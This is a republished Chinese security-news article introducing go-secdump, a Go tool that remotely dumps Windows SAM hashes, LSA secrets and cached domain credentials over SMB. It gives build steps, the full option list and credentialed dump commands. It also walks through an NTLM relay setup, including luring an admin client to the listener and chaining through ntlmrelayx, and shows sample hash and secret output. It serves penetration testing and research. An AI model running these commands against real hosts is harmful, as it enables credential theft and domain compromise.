Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >go-secdump:一款Windows注册表安全测试工具

go-secdump:一款Windows注册表安全测试工具

作者头像
FB客服
发布于 2024-07-22 10:49:18
发布于 2024-07-22 10:49:18
17300
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行
go-secdump是一款功能强大的Windows注册表安全检测工具,该工具基于Go语言开发,能够利用远程转储目标设备Windows注册表中的机密来检测其安全防护态势。

运行机制

该工具基于go-smb实现其功能,支持通过远程转储的形式从目标设备SAM注册表配置单元提取哈希值以及从SECURITY配置单元提取LSA敏感数据和缓存哈希值,整个过程无需任何远程代理,也无需接触磁盘。

该工具本质上是一个PoC,可以帮助广大研究人员了解和研究Windows注册表中SAM配置单元和SECURITY配置单元等内容的安全保护方式,以期更好地提升Windows设备的系统安全性。

工具下载

由于该工具基于Go语言开发,因此我们首先需要在本地设备上安装并配置好最新版本的Go环境。

源码构建

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/jfjallid/go-secdump.git

然后切换到项目目录中,使用下列命令完成源码构建:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd go-secdump

go build main.go

工具使用帮助

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Usage: ./go-secdump [options]



options:

      --host <target>        远程服务器的主机名或IP地址

  -P, --port <port>          SMB端口 (默认为445)

  -d, --domain <domain>     用于登录的域用户名

  -u, --user <username>     用户名

  -p, --pass <pass>         密码

  -n, --no-pass             禁用密码提示,不发送凭据

      --hash <NT Hash>     用户密码的十六进制编码NT哈希

      --local                作为本地用户而不是域用户进行身份验证

      --dump                将SAMSECURITY配置单元保存到磁盘

      --sam                 显式提取SAM配置单元中的机密

      --lsa                 显式提取LSA机密

      --dcc2                显式提取DCC2缓存

      --backup-dacl         在修改之前将原始DACL存储至磁盘

      --restore-dacl        使用磁盘备份恢复DACL

      --backup-file         DACL备份文件名 (默认为dacl.backup)

      --relay               启用SMB监听器,用于将NTLM身份验证中继到远程服务器,强制使用SMB 2.1,无加密

      --relay-port <port>    监听端口实现中继 (默认为445)

      --socks-host <target> 通过SOCKS5代理服务器建立连接

      --socks-port <port>   SOCKS5 proxy port (默认为1080)

  -t, --timeout               超时时长 (默认为5)

      --noenc               禁用SMB加密

      --smb2                强制使用SMB 2.1

      --debug               启用Debug模式

      --verbose             启用Verbose模式

  -o, --output              写入结果的文件名 (默认为stdout)

  -v, --version             显示工具版本信息

修改DACL

go-secdump将自动尝试修改然后恢复目标注册表项的DACL,但如果在恢复过程中出现问题(例如网络断开连接或其他中断),则远程注册表将保留修改后的 DACL。

使用--backup-dacl参数可以存储修改前的原始DACL的序列化副本。如果发生连接问题,可以使用--restore-dacl参数从文件中恢复DACL。

工具使用样例

转储所有的注册表机密

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local

or

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

仅转储SAM、LSA或DCC2缓存机密

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa

./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2

NTLM中继

该工具还支持使用NTLM中继转储注册表机密,下列命令可开启监听器:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./go-secdump --host 192.168.0.100 -n --relay

想办法触发一个具备管理员访问权限的客户端去访问192.168.0.100,然后等待机密转储成功即可:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805

YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!

Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0

2023/12/13 14:47:28 [Notice] [+] Signing is NOT required

2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator

[*] Dumping local SAM hashes

Name: Administrator

RID: 500

NT: 2727D7906A776A77B34D0430EAACD2C5



Name: Guest

RID: 501

NT: <empty>



Name: DefaultAccount

RID: 503

NT: <empty>



Name: WDAGUtilityAccount

RID: 504

NT: <empty>



[*] Dumping LSA Secrets

[*] $MACHINE.ACC

$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4

$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...

[*] DPAPI_SYSTEM

dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100

dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939

[*] NL$KM

NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74

[*] Dumping cached domain credentials (domain/username:hash)

DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab

...

SOCKS代理

当使用 ntlmrelayx.py 作为上行代理时,提供的用户名必须与经过身份验证的客户端匹配,但密码可以为空:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server

...

 

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

go-secdump:

https://github.com/jfjallid/go-secdump

https://github.com/jfjallid/go-smb https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 http://www.beginningtoseethelight.org/ntsecurity/index.htm https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
AD攻防-域用户HashDump追踪之道
Know it Then Hack it,网上dump域用户hash的方式五花八门,少有站在防御者视角对不同的dump方式进行梳理剖析和取证定位的文章,掌握不同dump方式的底层原理才能在EDR对抗时不慌不乱、在应急响应中抓住重点,选择最适合的手段快速达到自己的目的。本文大纲如下:
亿人安全
2023/09/25
5050
AD攻防-域用户HashDump追踪之道
【内网安全】 横向移动&PTH哈希&PTT票据&PTK密匙&Kerberos&密码喷射
IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL, 域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。
没事就要多学习
2024/07/18
2720
【内网安全】 横向移动&PTH哈希&PTT票据&PTK密匙&Kerberos&密码喷射
SharpMapExec:针对网络渗透测试高级瑞士Knife
SharpMapExec是一款针对网络渗透测试高级瑞士Knife,该工具基于CrackMapExec,可以将其理解为是CrackMapExec的优化版本。该工具的目的是简化网络渗透测试的任务操作,并提供一个多功能的渗透测试平台,该工具目前仅支持在Windows操作系统上运行,这也符合内部威胁模拟攻防的常见要求。
FB客服
2021/03/09
9100
SharpMapExec:针对网络渗透测试高级瑞士Knife
横向移动与域控权限维持方法总汇
如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos协议均存在PTH: NTLM自然不用多说 kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH影响
ConsT27
2022/02/11
1.8K0
横向移动与域控权限维持方法总汇
Mimikatz获取系统密码攻防研究
最新版下载地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip
用户1631416
2020/04/08
4.1K0
Mimikatz获取系统密码攻防研究
内网渗透-春秋云镜篇之Flarum
题目描述检测口令安全性,那应该是存在弱口令,所以我们先找下管理员用户,然后进行爆破,我们这里可以发现首页的这个邮箱
亿人安全
2024/02/29
5100
内网渗透-春秋云镜篇之Flarum
域渗透-常用漏洞命令总结
 0x01MS08-067  RPC远程缓冲区溢出导致的远程代码执行漏洞 适用:Windows 2000;XP;Server 2003;Vista;Server 2008;7 Beta use exploit/windows/smb/ms08_067_netapi #使用模块set rhosts 172.16.5.27 #设置靶机ipset lhost 172.16.5.28 #设置本地ipset payload generic/shell_bind_tcp #设置pay
FB客服
2023/03/29
8130
域渗透-常用漏洞命令总结
Windows NetLogon权限提升漏洞(CVE-2019-1424) 复现
2020年08月11日,微软MSRC官方发布了NetLogon特权提升漏洞的安全通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重, CVSS 评分:10.0。该漏洞由Secura公司的Tom Tervoort发现提交,因此被命名为ZeroLogon。
pensar
2020/09/24
1.8K0
Windows NetLogon权限提升漏洞(CVE-2019-1424) 复现
lsarelayx:一款功能强大的NTLM中继工具
lsarelayx是一个系统范围的NTLM中继工具,主要用于中继目标主机中基于NTLM的认证传入连接。lsarelayx将会中继任何包含了SMB的传入认证请求。由于lsarelayx可以挂钩现有的应用程序身份验证流,因此该工具还将尝试在中继完成后为原始身份验证请求提供服务。这种模式可以防止目标应用程序/协议显示错误,并使终端用户通过lsarelayx主机进行身份验证时能够正常工作。
FB客服
2022/06/08
9040
lsarelayx:一款功能强大的NTLM中继工具
Mimikatz工具介绍
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能
不屈的杨
2024/08/18
4540
Mimikatz工具介绍
工具的使用 | Impacket的使用
Impacket是用于处理网络协议的Python类的集合,用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。
谢公子
2022/01/19
6.6K0
工具的使用 | Impacket的使用
NetExec:一款功能强大的自动化网络安全评估与漏洞测试工具
NetExec是一款功能强大的自动化网络安全评估与漏洞测试工具,该工具可以帮助广大研究人员以自动化的形式测试大型网络的安全,并通过利用网络服务漏洞来评估目标网络的安全态势。
FB客服
2024/02/04
9930
NetExec:一款功能强大的自动化网络安全评估与漏洞测试工具
通过 Cobalt Strike 进行 NTLM 中继
NTLM 中继是渗透测试期间一种流行的攻击策略,而且执行起来非常简单。只需在客户站点上卷起,将您的笔记本电脑插入 LAN,启动响应器和 ntlmrelayx,然后您就可以离开了。
Khan安全团队
2021/12/29
1.1K0
零基础看内网渗透技术
2、配置固定ip: 其中网关设置错误,应该为192.168.206.2,开始默认的网管
天钧
2021/01/06
2.1K0
零基础看内网渗透技术
内网渗透-导出HASH的多种方式
在内网渗透中当我们得到一台高权限用户的身份时,就可以抓取到当前机器上的各类密码。虽然任务要求是导出域hash的方式,但在内网渗透中,获取当前机器的hash也有可能获取到域用户的hash,因此这里也分析一下如何获取当前机器的明文密码。
亿人安全
2024/08/13
5380
内网渗透-导出HASH的多种方式
实战 | 记一次靶场内网渗透(五)
在上一节 《记一次Vulnstack靶场内网渗透(四)》中,我们玩过了vulnstack 3这个靶场,通过信息收集、Joomla CMS漏洞利用、权限提升、以及域渗透最终拿下了域控并获得域控中的一份重要文件。
HACK学习
2021/03/19
2.5K0
实战 | 记一次靶场内网渗透(五)
从NTDS.dit获取密码hash的三种方法
本文我将为大家介绍一些取证工具,这些工具在渗透测试中将会对我们起到很大的帮助。例如当你提取到了大量的主机内部文件时,你可会发现其中包含如NTDS.dit和系统hive,那么你将可能需要用到下面的这些工具,来帮助你提取其中的用户信息。
FB客服
2018/07/31
2.2K0
从NTDS.dit获取密码hash的三种方法
Active Directory 持久性 3:DSRM 持久性 v2
每个域控制器都有一个用于 DC 的内部“Break glass”本地管理员帐户,称为目录服务还原模式 (DSRM) 帐户。DSRM 密码是在提升新 DC 时设置的,并且密码很少更改。
Khan安全团队
2022/01/24
6900
凭据收集总结
本来按计划应该学习横向移动,但是发现一个问题,如何横向?这就是我记录这一章的目的,提升权限之后获取凭证,利用已获取的凭证扩大战果才是正确的姿势,学习的主要资料是参考链接中的分享,建议阅读参考的原文,再次说明,我的只是笔记,记录我的学习过程中的所思所想。
重生信息安全
2020/07/07
6.2K0
凭据收集总结
内网渗透之内网权限维持
随着企业信息化程度的加深,内网环境逐渐成为攻击者的关注的重点目标,在内网渗透的过程中权限维持是不可或缺的关键环节之一,它往往决定了攻击者能否在目标系统中长时间潜伏,获取敏感信息或者造成更大范围的破坏。本文旨在深入探讨内网渗透中的权限维持技术,包括其基本概念、常见手段以及防御措施
Al1ex
2024/08/20
3020
内网渗透之内网权限维持
相关推荐
AD攻防-域用户HashDump追踪之道
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验